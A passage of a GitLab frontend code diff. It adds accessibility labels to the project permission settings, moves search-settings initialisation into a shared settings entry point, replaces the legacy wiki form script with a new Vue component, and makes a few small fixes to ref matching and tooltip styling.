v-model="cronInterval"
:placeholder="__('Define a custom pattern with cron syntax')"
:name="inputNameAttribute"
- class="form-control inline cron-interval-input"
+ class="form-control inline cron-interval-input gl-form-input"
type="text"
required="true"
@input="onCustomInput"
diff --git a/app/assets/javascripts/pages/projects/project.js b/app/assets/javascripts/pages/projects/project.js
index da8dc527d79..91f376060f8 100644
--- a/app/assets/javascripts/pages/projects/project.js
+++ b/app/assets/javascripts/pages/projects/project.js
@@ -123,10 +123,19 @@ export default class Project {
const loc = window.location.href;
if (loc.includes('/-/')) {
- const refs = this.fullData.Branches.concat(this.fullData.Tags);
- const currentRef = refs.find((ref) => loc.indexOf(ref) > -1);
- if (currentRef) {
- const targetPath = loc.split(currentRef)[1].slice(1).split('#')[0];
+ // Since the current ref in renderRow is outdated on page changes
+ // (To be addressed in: https://gitlab.com/gitlab-org/gitlab/-/issues/327085)
+ // We are deciphering the current ref from the dropdown data instead
+ const currentRef = $dropdown.data('ref');
+ // The split and startWith is to ensure an exact word match
+ // and avoid partial match ie. currentRef is "dev" and loc is "development"
+ const splitPathAfterRefPortion = loc.split(currentRef)[1];
+ const doesPathContainRef = splitPathAfterRefPortion?.startsWith('/');
+
+ if (doesPathContainRef) {
+ // We are ignoring the url containing the ref portion
+ // and plucking the thereafter portion to reconstructure the url that is correct
+ const targetPath = splitPathAfterRefPortion?.slice(1).split('#')[0];
selectedUrl.searchParams.set('path', targetPath);
selectedUrl.hash = window.location.hash;
}
diff --git a/app/assets/javascripts/pages/projects/project_members/index.js b/app/assets/javascripts/pages/projects/project_members/index.js
index 4aea5614bfb..471798d2931 100644
--- a/app/assets/javascripts/pages/projects/project_members/index.js
+++ b/app/assets/javascripts/pages/projects/project_members/index.js
@@ -7,6 +7,7 @@ import initInviteMembersTrigger from '~/invite_members/init_invite_members_trigg
import { s__ } from '~/locale';
import memberExpirationDate from '~/member_expiration_date';
import { initMembersApp } from '~/members';
+import { MEMBER_TYPES } from '~/members/constants';
import { groupLinkRequestFormatter } from '~/members/utils';
import { projectMemberRequestFormatter } from '~/projects/members/utils';
import UsersSelect from '~/users_select';
@@ -42,6 +43,7 @@ new UsersSelect(); // eslint-disable-line no-new
const SHARED_FIELDS = ['account', 'expires', 'maxRole', 'expiration', 'actions'];
initMembersApp(document.querySelector('.js-project-members-list'), {
+ namespace: MEMBER_TYPES.user,
tableFields: SHARED_FIELDS.concat(['source', 'granted']),
tableAttrs: { tr: { 'data-qa-selector': 'member_row' } },
tableSortableFields: ['account', 'granted', 'maxRole', 'lastSignIn'],
@@ -56,6 +58,7 @@ initMembersApp(document.querySelector('.js-project-members-list'), {
});
initMembersApp(document.querySelector('.js-project-group-links-list'), {
+ namespace: MEMBER_TYPES.group,
tableFields: SHARED_FIELDS.concat('granted'),
tableAttrs: {
table: { 'data-qa-selector': 'groups_list' },
@@ -72,11 +75,13 @@ initMembersApp(document.querySelector('.js-project-group-links-list'), {
});
initMembersApp(document.querySelector('.js-project-invited-members-list'), {
+ namespace: MEMBER_TYPES.invite,
tableFields: SHARED_FIELDS.concat('invited'),
requestFormatter: projectMemberRequestFormatter,
});
initMembersApp(document.querySelector('.js-project-access-requests-list'), {
+ namespace: MEMBER_TYPES.accessRequest,
tableFields: SHARED_FIELDS.concat('requested'),
requestFormatter: projectMemberRequestFormatter,
});
diff --git a/app/assets/javascripts/pages/projects/settings/ci_cd/show/index.js b/app/assets/javascripts/pages/projects/settings/ci_cd/show/index.js
index b7e8d4b03ac..be9259ec3ca 100644
--- a/app/assets/javascripts/pages/projects/settings/ci_cd/show/index.js
+++ b/app/assets/javascripts/pages/projects/settings/ci_cd/show/index.js
@@ -6,7 +6,6 @@ import initDeployFreeze from '~/deploy_freeze';
import { initInstallRunner } from '~/pages/shared/mount_runner_instructions';
import initSharedRunnersToggle from '~/projects/settings/mount_shared_runners_toggle';
import registrySettingsApp from '~/registry/settings/registry_settings_bundle';
-import initSearchSettings from '~/search_settings';
import initSettingsPanels from '~/settings_panels';
document.addEventListener('DOMContentLoaded', () => {
@@ -43,6 +42,4 @@ document.addEventListener('DOMContentLoaded', () => {
}
initInstallRunner();
-
- initSearchSettings();
});
diff --git a/app/assets/javascripts/pages/projects/settings/index.js b/app/assets/javascripts/pages/projects/settings/index.js
new file mode 100644
index 00000000000..cb787c60002
--- /dev/null
+++ b/app/assets/javascripts/pages/projects/settings/index.js
@@ -0,0 +1,5 @@
+import initRevokeButton from '~/deploy_tokens/init_revoke_button';
+import initSearchSettings from '~/search_settings';
+
+initSearchSettings();
+initRevokeButton();
diff --git a/app/assets/javascripts/pages/projects/settings/integrations/show/index.js b/app/assets/javascripts/pages/projects/settings/integrations/show/index.js
index bf9ccdbf9a8..01ad87160c5 100644
--- a/app/assets/javascripts/pages/projects/settings/integrations/show/index.js
+++ b/app/assets/javascripts/pages/projects/settings/integrations/show/index.js
@@ -1,4 +1,7 @@
+import initIntegrationsList from '~/integrations/index';
import PersistentUserCallout from '~/persistent_user_callout';
const callout = document.querySelector('.js-webhooks-moved-alert');
PersistentUserCallout.factory(callout);
+
+initIntegrationsList();
diff --git a/app/assets/javascripts/pages/projects/settings/operations/show/index.js b/app/assets/javascripts/pages/projects/settings/operations/show/index.js
index 4a800ab150d..3a46241e2eb 100644
--- a/app/assets/javascripts/pages/projects/settings/operations/show/index.js
+++ b/app/assets/javascripts/pages/projects/settings/operations/show/index.js
@@ -3,7 +3,6 @@ import mountErrorTrackingForm from '~/error_tracking_settings';
import mountGrafanaIntegration from '~/grafana_integration';
import initIncidentsSettings from '~/incidents_settings';
import mountOperationSettings from '~/operation_settings';
-import initSearchSettings from '~/search_settings';
import initSettingsPanels from '~/settings_panels';
initIncidentsSettings();
@@ -14,7 +13,3 @@ if (!IS_EE) {
initSettingsPanels();
}
mountAlertsSettings(document.querySelector('.js-alerts-settings'));
-
-document.addEventListener('DOMContentLoaded', () => {
- initSearchSettings();
-});
diff --git a/app/assets/javascripts/pages/projects/settings/repository/show/index.js b/app/assets/javascripts/pages/projects/settings/repository/show/index.js
index c7bcbb83051..e90954c14c5 100644
--- a/app/assets/javascripts/pages/projects/settings/repository/show/index.js
+++ b/app/assets/javascripts/pages/projects/settings/repository/show/index.js
@@ -1,5 +1,4 @@
import MirrorRepos from '~/mirrors/mirror_repos';
-import initSearchSettings from '~/search_settings';
import initForm from '../form';
document.addEventListener('DOMContentLoaded', () => {
@@ -7,6 +6,4 @@ document.addEventListener('DOMContentLoaded', () => {
const mirrorReposContainer = document.querySelector('.js-mirror-settings');
if (mirrorReposContainer) new MirrorRepos(mirrorReposContainer).init();
-
- initSearchSettings();
});
diff --git a/app/assets/javascripts/pages/projects/shared/permissions/components/project_feature_setting.vue b/app/assets/javascripts/pages/projects/shared/permissions/components/project_feature_setting.vue
index d62df77ad2c..c110c1d4d62 100644
--- a/app/assets/javascripts/pages/projects/shared/permissions/components/project_feature_setting.vue
+++ b/app/assets/javascripts/pages/projects/shared/permissions/components/project_feature_setting.vue
@@ -12,6 +12,11 @@ export default {
event: 'change',
},
props: {
+ label: {
+ type: String,
+ required: false,
+ default: '',
+ },
name: {
type: String,
required: false,
@@ -82,6 +87,8 @@ export default {
class="gl-mr-3"
:value="featureEnabled"
:disabled="disabledInput"
+ :label="label"
+ label-position="hidden"
@change="toggleFeature"
/>
<div class="select-wrapper gl-flex-fill-1">
diff --git a/app/assets/javascripts/pages/projects/shared/permissions/components/settings_panel.vue b/app/assets/javascripts/pages/projects/shared/permissions/components/settings_panel.vue
index 0b58cb4731d..0b7b4c0ded1 100644
--- a/app/assets/javascripts/pages/projects/shared/permissions/components/settings_panel.vue
+++ b/app/assets/javascripts/pages/projects/shared/permissions/components/settings_panel.vue
@@ -22,6 +22,21 @@ const PAGE_FEATURE_ACCESS_LEVEL = s__('ProjectSettings|Everyone');
export default {
i18n: {
...CVE_ID_REQUEST_BUTTON_I18N,
+ analyticsLabel: s__('ProjectSettings|Analytics'),
+ containerRegistryLabel: s__('ProjectSettings|Container registry'),
+ forksLabel: s__('ProjectSettings|Forks'),
+ issuesLabel: s__('ProjectSettings|Issues'),
+ lfsLabel: s__('ProjectSettings|Git Large File Storage (LFS)'),
+ mergeRequestsLabel: s__('ProjectSettings|Merge requests'),
+ operationsLabel: s__('ProjectSettings|Operations'),
+ packagesLabel: s__('ProjectSettings|Packages'),
+ pagesLabel: s__('ProjectSettings|Pages'),
+ ciCdLabel: s__('CI/CD'),
+ repositoryLabel: s__('ProjectSettings|Repository'),
+ requirementsLabel: s__('ProjectSettings|Requirements'),
+ securityAndComplianceLabel: s__('ProjectSettings|Security & Compliance'),
+ snippetsLabel: s__('ProjectSettings|Snippets'),
+ wikiLabel: s__('ProjectSettings|Wiki'),
},
components: {
@@ -423,11 +438,12 @@ export default {
>
<project-setting-row
ref="issues-settings"
- :label="s__('ProjectSettings|Issues')"
+ :label="$options.i18n.issuesLabel"
:help-text="s__('ProjectSettings|Lightweight issue tracking system.')"
>
<project-feature-setting
v-model="issuesAccessLevel"
+ :label="$options.i18n.issuesLabel"
:options="featureAccessLevelOptions"
name="project[project_feature_attributes][issues_access_level]"
/>
@@ -440,6 +456,8 @@ export default {
v-model="cveIdRequestEnabled"
class="gl-my-2"
:disabled="cveIdRequestIsDisabled"
+ :label="$options.i18n.cve_request_toggle_label"
+ label-position="hidden"
name="project[project_setting_attributes][cve_id_request_enabled]"
data-testid="cve_id_request_toggle"
/>
@@ -447,11 +465,12 @@ export default {
</project-setting-row>
<project-setting-row
ref="repository-settings"
- :label="s__('ProjectSettings|Repository')"
+ :label="$options.i18n.repositoryLabel"
:help-text="repositoryHelpText"
>
<project-feature-setting
v-model="repositoryAccessLevel"
+ :label="$options.i18n.repositoryLabel"
:options="featureAccessLevelOptions"
name="project[project_feature_attributes][repository_access_level]"
/>
@@ -459,11 +478,12 @@ export default {
<div class="project-feature-setting-group gl-pl-7 gl-sm-pl-5">
<project-setting-row
ref="merge-request-settings"
- :label="s__('ProjectSettings|Merge requests')"
+ :label="$options.i18n.mergeRequestsLabel"
:help-text="s__('ProjectSettings|Submit changes to be merged upstream.')"
>
<project-feature-setting
v-model="mergeRequestsAccessLevel"
+ :label="$options.i18n.mergeRequestsLabel"
:options="repoFeatureAccessLevelOptions"
:disabled-input="!repositoryEnabled"
name="project[project_feature_attributes][merge_requests_access_level]"
@@ -471,33 +491,22 @@ export default {
</project-setting-row>
<project-setting-row
ref="fork-settings"
- :label="s__('ProjectSettings|Forks')"
+ :label="$options.i18n.forksLabel"
:help-text="s__('ProjectSettings|Users can copy the repository to a new project.')"
>
<project-feature-setting
v-model="forkingAccessLevel"
+ :label="$options.i18n.forksLabel"
:options="featureAccessLevelOptions"
:disabled-input="!repositoryEnabled"
name="project[project_feature_attributes][forking_access_level]"
/>
</project-setting-row>
<project-setting-row
- ref="pipeline-settings"
- :label="s__('ProjectSettings|Pipelines')"
- :help-text="s__('ProjectSettings|Build, test, and deploy your changes.')"
- >
- <project-feature-setting
- v-model="buildsAccessLevel"
- :options="repoFeatureAccessLevelOptions"
- :disabled-input="!repositoryEnabled"
- name="project[project_feature_attributes][builds_access_level]"
- />
- </project-setting-row>
- <project-setting-row
v-if="registryAvailable"
ref="container-registry-settings"
:help-path="registryHelpPath"
- :label="s__('ProjectSettings|Container registry')"
+ :label="$options.i18n.containerRegistryLabel"
:help-text="
s__('ProjectSettings|Every project can have its own space to store its Docker images')
"
@@ -513,6 +522,8 @@ export default {
v-model="containerRegistryEnabled"
class="gl-my-2"
:disabled="!repositoryEnabled"
+ :label="$options.i18n.containerRegistryLabel"
+ label-position="hidden"
name="project[container_registry_enabled]"
/>
</project-setting-row>
@@ -520,7 +531,7 @@ export default {
v-if="lfsAvailable"
ref="git-lfs-settings"
:help-path="lfsHelpPath"
- :label="s__('ProjectSettings|Git Large File Storage (LFS)')"
+ :label="$options.i18n.lfsLabel"
:help-text="
s__('ProjectSettings|Manages large files such as audio, video, and graphics files.')
"
@@ -529,6 +540,8 @@ export default {
v-model="lfsEnabled"
class="gl-my-2"
:disabled="!repositoryEnabled"
+ :label="$options.i18n.lfsLabel"
+ label-position="hidden"
name="project[lfs_enabled]"
/>
<p v-if="!lfsEnabled && lfsObjectsExist">
@@ -553,7 +566,7 @@ export default {
v-if="packagesAvailable"
ref="package-settings"
:help-path="packagesHelpPath"
- :label="s__('ProjectSettings|Packages')"
+ :label="$options.i18n.packagesLabel"
:help-text="
s__('ProjectSettings|Every project can have its own space to store its packages.')
"
@@ -562,17 +575,33 @@ export default {
v-model="packagesEnabled"
class="gl-my-2"
:disabled="!repositoryEnabled"
+ :label="$options.i18n.packagesLabel"
+ label-position="hidden"
name="project[packages_enabled]"
/>
</project-setting-row>
</div>
<project-setting-row
+ ref="pipeline-settings"
+ :label="$options.i18n.ciCdLabel"
+ :help-text="s__('ProjectSettings|Build, test, and deploy your changes.')"
+ >
+ <project-feature-setting
+ v-model="buildsAccessLevel"
+ :label="$options.i18n.ciCdLabel"
+ :options="repoFeatureAccessLevelOptions"
+ :disabled-input="!repositoryEnabled"
+ name="project[project_feature_attributes][builds_access_level]"
+ />
+ </project-setting-row>
+ <project-setting-row
ref="analytics-settings"
- :label="s__('ProjectSettings|Analytics')"
+ :label="$options.i18n.analyticsLabel"
:help-text="s__('ProjectSettings|View project analytics.')"
>
<project-feature-setting
v-model="analyticsAccessLevel"
+ :label="$options.i18n.analyticsLabel"
:options="featureAccessLevelOptions"
name="project[project_feature_attributes][analytics_access_level]"
/>
@@ -580,43 +609,47 @@ export default {
<project-setting-row
v-if="requirementsAvailable"
ref="requirements-settings"
- :label="s__('ProjectSettings|Requirements')"
+ :label="$options.i18n.requirementsLabel"
:help-text="s__('ProjectSettings|Requirements management system.')"
>
<project-feature-setting
v-model="requirementsAccessLevel"
+ :label="$options.i18n.requirementsLabel"
:options="featureAccessLevelOptions"
name="project[project_feature_attributes][requirements_access_level]"
/>
</project-setting-row>
<project-setting-row
- :label="s__('ProjectSettings|Security & Compliance')"
+ :label="$options.i18n.securityAndComplianceLabel"
:help-text="s__('ProjectSettings|Security & Compliance for this project')"
>
<project-feature-setting
v-model="securityAndComplianceAccessLevel"
+ :label="$options.i18n.securityAndComplianceLabel"
:options="featureAccessLevelOptions"
name="project[project_feature_attributes][security_and_compliance_access_level]"
/>
</project-setting-row>
<project-setting-row
ref="wiki-settings"
- :label="s__('ProjectSettings|Wiki')"
+ :label="$options.i18n.wikiLabel"
:help-text="s__('ProjectSettings|Pages for project documentation.')"
>
<project-feature-setting
v-model="wikiAccessLevel"
+ :label="$options.i18n.wikiLabel"
:options="featureAccessLevelOptions"
name="project[project_feature_attributes][wiki_access_level]"
/>
</project-setting-row>
<project-setting-row
ref="snippet-settings"
- :label="s__('ProjectSettings|Snippets')"
+ :label="$options.i18n.snippetsLabel"
:help-text="s__('ProjectSettings|Share code with others outside the project.')"
>
<project-feature-setting
v-model="snippetsAccessLevel"
+ :label="$options.i18n.snippetsLabel"
:options="featureAccessLevelOptions"
name="project[project_feature_attributes][snippets_access_level]"
/>
@@ -625,26 +658,28 @@ export default {
v-if="pagesAvailable && pagesAccessControlEnabled"
ref="pages-settings"
:help-path="pagesHelpPath"
- :label="s__('ProjectSettings|Pages')"
+ :label="$options.i18n.pagesLabel"
:help-text="
s__('ProjectSettings|With GitLab Pages you can host your static websites on GitLab.')
"
>
<project-feature-setting
v-model="pagesAccessLevel"
+ :label="$options.i18n.pagesLabel"
:options="pagesFeatureAccessLevelOptions"
name="project[project_feature_attributes][pages_access_level]"
/>
</project-setting-row>
<project-setting-row
ref="operations-settings"
- :label="s__('ProjectSettings|Operations')"
+ :label="$options.i18n.operationsLabel"
:help-text="
s__('ProjectSettings|Configure your project resources and monitor their health.')
"
>
<project-feature-setting
v-model="operationsAccessLevel"
+ :label="$options.i18n.operationsLabel"
:options="featureAccessLevelOptions"
name="project[project_feature_attributes][operations_access_level]"
/>
diff --git a/app/assets/javascripts/pages/projects/tags/index/index.js b/app/assets/javascripts/pages/projects/tags/index/index.js
index 98560c1193b..9e48dd9e463 100644
--- a/app/assets/javascripts/pages/projects/tags/index/index.js
+++ b/app/assets/javascripts/pages/projects/tags/index/index.js
@@ -1,3 +1,4 @@
+import TagSortDropdown from '~/tags';
import { initRemoveTag } from '../remove_tag';
initRemoveTag({
@@ -5,3 +6,4 @@ initRemoveTag({
document.querySelector(`[data-path="${path}"]`).closest('.js-tag-list').remove();
},
});
+TagSortDropdown();
diff --git a/app/assets/javascripts/pages/shared/mount_runner_instructions.js b/app/assets/javascripts/pages/shared/mount_runner_instructions.js
index 51028e585b8..e83c73edfde 100644
--- a/app/assets/javascripts/pages/shared/mount_runner_instructions.js
+++ b/app/assets/javascripts/pages/shared/mount_runner_instructions.js
@@ -1,7 +1,7 @@
import Vue from 'vue';
import VueApollo from 'vue-apollo';
import createDefaultClient from '~/lib/graphql';
-import InstallRunnerInstructions from '~/vue_shared/components/runner_instructions/runner_instructions.vue';
+import RunnerInstructions from '~/vue_shared/components/runner_instructions/runner_instructions.vue';
Vue.use(VueApollo);
@@ -10,7 +10,6 @@ export function initInstallRunner(componentId = 'js-install-runner') {
if (installRunnerEl) {
const defaultClient = createDefaultClient();
- const { projectPath, groupPath } = installRunnerEl.dataset;
const apolloProvider = new VueApollo({
defaultClient,
@@ -20,12 +19,8 @@ export function initInstallRunner(componentId = 'js-install-runner') {
new Vue({
el: installRunnerEl,
apolloProvider,
- provide: {
- projectPath,
- groupPath,
- },
render(createElement) {
- return createElement(InstallRunnerInstructions);
+ return createElement(RunnerInstructions);
},
});
}
diff --git a/app/assets/javascripts/pages/shared/wikis/components/wiki_form.vue b/app/assets/javascripts/pages/shared/wikis/components/wiki_form.vue
new file mode 100644
index 00000000000..6afc33ec8a5
--- /dev/null
+++ b/app/assets/javascripts/pages/shared/wikis/components/wiki_form.vue
@@ -0,0 +1,253 @@
+<script>
+import { GlForm, GlIcon, GlLink, GlButton, GlSprintf } from '@gitlab/ui';
+import csrf from '~/lib/utils/csrf';
+import { setUrlFragment } from '~/lib/utils/url_utility';
+import { __, s__, sprintf } from '~/locale';
+import MarkdownField from '~/vue_shared/components/markdown/field.vue';
+
+const MARKDOWN_LINK_TEXT = {
+ markdown: '[Link Title](page-slug)',
+ rdoc: '{Link title}[link:page-slug]',
+ asciidoc: 'link:page-slug[Link title]',
+ org: '[[page-slug]]',
+};
+
+export default {
+ components: {
+ GlForm,
+ GlSprintf,
+ GlIcon,
+ GlLink,
+ GlButton,
+ MarkdownField,
+ },
+ inject: ['formatOptions', 'pageInfo'],
+ data() {
+ return {
+ title: this.pageInfo.title?.trim() || '',
+ format: this.pageInfo.format || 'markdown',
+ content: this.pageInfo.content?.trim() || '',
+ commitMessage: '',
+ };
+ },
+ computed: {
+ csrfToken() {
+ return csrf.token;
+ },
+ formAction() {
+ return this.pageInfo.persisted ? this.pageInfo.path : this.pageInfo.createPath;
+ },
+ helpPath() {
+ return setUrlFragment(
+ this.pageInfo.helpPath,
+ this.pageInfo.persisted ? 'move-a-wiki-page' : 'create-a-new-wiki-page',
+ );
+ },
+ commitMessageI18n() {
+ return this.pageInfo.persisted
+ ? s__('WikiPage|Update %{pageTitle}')
+ : s__('WikiPage|Create %{pageTitle}');
+ },
+ linkExample() {
+ return MARKDOWN_LINK_TEXT[this.format];
+ },
+ submitButtonText() {
+ if (this.pageInfo.persisted) return __('Save changes');
+ return s__('WikiPage|Create page');
+ },
+ cancelFormPath() {
+ if (this.pageInfo.persisted) return this.pageInfo.path;
+ return this.pageInfo.wikiPath;
+ },
+ wikiSpecificMarkdownHelpPath() {
+ return setUrlFragment(this.pageInfo.markdownHelpPath, 'wiki-specific-markdown');
+ },
+ },
+ mounted() {
+ this.updateCommitMessage();
+ },
+ methods: {
+ handleFormSubmit() {
+ window.removeEventListener('beforeunload', this.onBeforeUnload);
+ },
+
+ handleContentChange() {
+ window.addEventListener('beforeunload', this.onBeforeUnload);
+ },
+
+ onBeforeUnload() {
+ return '';
+ },
+
+ updateCommitMessage() {
+ if (!this.title) return;
+
+ // Replace hyphens with spaces
+ const newTitle = this.title.replace(/-+/g, ' ');
+
+ const newCommitMessage = sprintf(this.commitMessageI18n, { pageTitle: newTitle }, false);
+ this.commitMessage = newCommitMessage;
+ },
+ },
+};
+</script>
+
+<template>
+ <gl-form
+ :action="formAction"
+ method="post"
+ class="wiki-form common-note-form gl-mt-3 js-quick-submit"
+ @submit="handleFormSubmit"
+ >
+ <input :value="csrfToken" type="hidden" name="authenticity_token" />
+ <input v-if="pageInfo.persisted" type="hidden" name="_method" value="put" />
+ <input
+ :v-if="pageInfo.persisted"
+ type="hidden"
+ name="wiki[last_commit_sha]"
+ :value="pageInfo.lastCommitSha"
+ />
+ <div class="form-group row">
+ <div class="col-sm-2 col-form-label">
+ <label class="control-label-full-width" for="wiki_title">{{ s__('WikiPage|Title') }}</label>
+ </div>
+ <div class="col-sm-10">
+ <input
+ id="wiki_title"
+ v-model.trim="title"
+ name="wiki[title]"
+ type="text"
+ class="form-control"
+ data-qa-selector="wiki_title_textbox"
+ :required="true"
+ :autofocus="!pageInfo.persisted"
+ :placeholder="s__('WikiPage|Page title')"
+ @input="updateCommitMessage"
+ />
+ <span class="gl-display-inline-block gl-max-w-full gl-mt-2 gl-text-gray-600">
+ <gl-icon class="gl-mr-n1" name="bulb" />
+ {{
+ pageInfo.persisted
+ ? s__(
+ 'WikiPage|Tip: You can move this page by adding the path to the beginning of the title.',
+ )
+ : s__(
+ 'WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories.',
+ )
+ }}
+ <gl-link :href="helpPath" target="_blank" data-testid="wiki-title-help-link"
+ ><gl-icon name="question-o" /> {{ __('More Information.') }}</gl-link
+ >
+ </span>
+ </div>
+ </div>
+ <div class="form-group row">
+ <div class="col-sm-2 col-form-label">
+ <label class="control-label-full-width" for="wiki_format">{{
+ s__('WikiPage|Format')
+ }}</label>
+ </div>
+ <div class="col-sm-10">
+ <select id="wiki_format" v-model="format" class="form-control" name="wiki[format]">
+ <option v-for="(key, label) of formatOptions" :key="key" :value="key">
+ {{ label }}
+ </option>
+ </select>
+ </div>
+ </div>
+ <div class="form-group row">
+ <div class="col-sm-2 col-form-label">
+ <label class="control-label-full-width" for="wiki_content">{{
+ s__('WikiPage|Content')
+ }}</label>
+ </div>
+ <div class="col-sm-10">
+ <markdown-field
+ :markdown-preview-path="pageInfo.markdownPreviewPath"
+ :can-attach-file="true"
+ :enable-autocomplete="true"
+ :textarea-value="content"
+ :markdown-docs-path="pageInfo.markdownHelpPath"
+ :uploads-path="pageInfo.uploadsPath"
+ class="bordered-box"
+ >
+ <template #textarea>
+ <textarea
+ id="wiki_content"
+ ref="textarea"
+ v-model.trim="content"
+ name="wiki[content]"
+ class="note-textarea js-gfm-input js-autosize markdown-area"
+ dir="auto"
+ data-supports-quick-actions="false"
+ data-qa-selector="wiki_content_textarea"
+ :autofocus="pageInfo.persisted"
+ :aria-label="s__('WikiPage|Content')"
+ :placeholder="s__('WikiPage|Write your content or drag files here…')"
+ @input="handleContentChange"
+ >
+ </textarea>
+ </template>
+ </markdown-field>
+ <div class="clearfix"></div>
+ <div class="error-alert"></div>
+
+ <div class="form-text gl-text-gray-600">
+ <gl-sprintf
+ :message="
+ s__(
+ 'WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}.',
+ )
+ "
+ >
+ <template #linkExample
+ ><code>{{ linkExample }}</code></template
+ >
+ <template
+ #link="// eslint-disable-next-line vue/no-template-shadow
+ { content }"
+ ><gl-link
+ :href="wikiSpecificMarkdownHelpPath"
+ target="_blank"
+ data-testid="wiki-markdown-help-link"
+ >{{ content }}</gl-link
+ ></template
+ >
+ </gl-sprintf>
+ </div>
+ </div>
+ </div>
+ <div class="form-group row">
+ <div class="col-sm-2 col-form-label">
+ <label class="control-label-full-width" for="wiki_message">{{
+ s__('WikiPage|Commit message')
+ }}</label>
+ </div>
+ <div class="col-sm-10">
+ <input
+ id="wiki_message"
+ v-model.trim="commitMessage"
+ name="wiki[message]"
+ type="text"
+ class="form-control"
+ data-qa-selector="wiki_message_textbox"
+ :placeholder="s__('WikiPage|Commit message')"
+ />
+ </div>
+ </div>
+ <div class="form-actions">
+ <gl-button
+ category="primary"
+ variant="confirm"
+ type="submit"
+ data-qa-selector="wiki_submit_button"
+ data-testid="wiki-submit-button"
+ :disabled="!content || !title"
+ >{{ submitButtonText }}</gl-button
+ >
+ <gl-button :href="cancelFormPath" class="float-right" data-testid="wiki-cancel-button">{{
+ __('Cancel')
+ }}</gl-button>
+ </div>
+ </gl-form>
+</template>
diff --git a/app/assets/javascripts/pages/shared/wikis/index.js b/app/assets/javascripts/pages/shared/wikis/index.js
index c382a372260..c04cd0b3fa4 100644
--- a/app/assets/javascripts/pages/shared/wikis/index.js
+++ b/app/assets/javascripts/pages/shared/wikis/index.js
@@ -1,12 +1,14 @@
import $ from 'jquery';
import Vue from 'vue';
import ShortcutsWiki from '~/behaviors/shortcuts/shortcuts_wiki';
+import { convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
import csrf from '~/lib/utils/csrf';
import Translate from '~/vue_shared/translate';
import GLForm from '../../../gl_form';
import ZenMode from '../../../zen_mode';
import deleteWikiModal from './components/delete_wiki_modal.vue';
import wikiAlert from './components/wiki_alert.vue';
+import wikiForm from './components/wiki_form.vue';
import Wikis from './wikis';
const createModalVueApp = () => {
@@ -61,7 +63,28 @@ const createAlertVueApp = () => {
}
};
+const createWikiFormApp = () => {
+ const el = document.getElementById('js-wiki-form');
+
+ if (el) {
+ const { pageInfo, formatOptions } = el.dataset;
+
+ // eslint-disable-next-line no-new
+ new Vue({
+ el,
+ provide: {
+ formatOptions: JSON.parse(formatOptions),
+ pageInfo: convertObjectPropsToCamelCase(JSON.parse(pageInfo)),
+ },
+ render(createElement) {
+ return createElement(wikiForm);
+ },
+ });
+ }
+};
+
export default () => {
createModalVueApp();
createAlertVueApp();
+ createWikiFormApp();
};
diff --git a/app/assets/javascripts/pages/shared/wikis/wikis.js b/app/assets/javascripts/pages/shared/wikis/wikis.js
index 4b4d2f7d238..7d0b0c90c8d 100644
--- a/app/assets/javascripts/pages/shared/wikis/wikis.js
+++ b/app/assets/javascripts/pages/shared/wikis/wikis.js
@@ -1,15 +1,7 @@
import { GlBreakpointInstance as bp } from '@gitlab/ui/dist/utils';
-import { s__, sprintf } from '~/locale';
import Tracking from '~/tracking';
import showToast from '~/vue_shared/plugins/global_toast';
-const MARKDOWN_LINK_TEXT = {
- markdown: '[Link Title](page-slug)',
- rdoc: '{Link title}[link:page-slug]',
- asciidoc: 'link:page-slug[Link title]',
- org: '[[page-slug]]',
-};
-
const TRACKING_EVENT_NAME = 'view_wiki_page';
const TRACKING_CONTEXT_SCHEMA = 'iglu:com.gitlab/wiki_page_context/jsonschema/1-0-1';
@@ -23,78 +15,11 @@ export default class Wikis {
sidebarToggles[i].addEventListener('click', (e) => this.handleToggleSidebar(e));
}
- this.isNewWikiPage = Boolean(document.querySelector('.js-new-wiki-page'));
- this.editTitleInput = document.querySelector('form.wiki-form #wiki_title');
- this.commitMessageInput = document.querySelector('form.wiki-form #wiki_message');
- this.submitButton = document.querySelector('.js-wiki-btn-submit');
- this.commitMessageI18n = this.isNewWikiPage
- ? s__('WikiPageCreate|Create %{pageTitle}')
- : s__('WikiPageEdit|Update %{pageTitle}');
-
- if (this.editTitleInput) {
- // Initialize the commit message on load
- if (this.editTitleInput.value) this.setWikiCommitMessage(this.editTitleInput.value);
-
- // Set the commit message as the page title is changed
- this.editTitleInput.addEventListener('keyup', (e) => this.handleWikiTitleChange(e));
- }
-
window.addEventListener('resize', () => this.renderSidebar());
this.renderSidebar();
- const changeFormatSelect = document.querySelector('#wiki_format');
- const linkExample = document.querySelector('.js-markup-link-example');
-
- if (changeFormatSelect) {
- changeFormatSelect.addEventListener('change', (e) => {
- linkExample.innerHTML = MARKDOWN_LINK_TEXT[e.target.value];
- });
- }
-
- this.wikiTextarea = document.querySelector('form.wiki-form #wiki_content');
- const wikiForm = document.querySelector('form.wiki-form');
-
- if (this.wikiTextarea) {
- this.wikiTextarea.addEventListener('input', () => this.handleWikiContentChange());
-
- wikiForm.addEventListener('submit', () => {
- window.onbeforeunload = null;
- });
- }
-
Wikis.trackPageView();
Wikis.showToasts();
-
- this.updateSubmitButton();
- }
-
- handleWikiContentChange() {
- this.updateSubmitButton();
-
- window.onbeforeunload = () => '';
- }
-
- handleWikiTitleChange(e) {
- this.updateSubmitButton();
- this.setWikiCommitMessage(e.target.value);
- }
-
- updateSubmitButton() {
- if (!this.wikiTextarea) return;
-
- const isEnabled = Boolean(this.wikiTextarea.value.trim() && this.editTitleInput.value.trim());
- if (isEnabled) this.submitButton.removeAttribute('disabled');
- else this.submitButton.setAttribute('disabled', 'true');
- }
-
- setWikiCommitMessage(rawTitle) {
- let title = rawTitle;
-
- // Replace hyphens with spaces
- if (title) title = title.replace(/-+/g, ' ');
-
- const newCommitMessage = sprintf(this.commitMessageI18n, { pageTitle: title }, false);
- this.commitMessageInput.value = newCommitMessage;
}
handleToggleSidebar(e) {
diff --git a/app/assets/javascripts/pages/users/activity_calendar.js b/app/assets/javascripts/pages/users/activity_calendar.js
index 3ff455fad32..d236dc4610a 100644
--- a/app/assets/javascripts/pages/users/activity_calendar.js
+++ b/app/assets/javascripts/pages/users/activity_calendar.js
@@ -39,7 +39,7 @@ function formatTooltipText({ date, count }) {
if (count > 0) {
contribText = n__('%d contribution', '%d contributions', count);
}
- return `${contribText}<br />${dateDayName} ${dateText}`;
+ return `${contribText}<br /><span class="gl-text-gray-300">${dateDayName} ${dateText}</span>`;
}
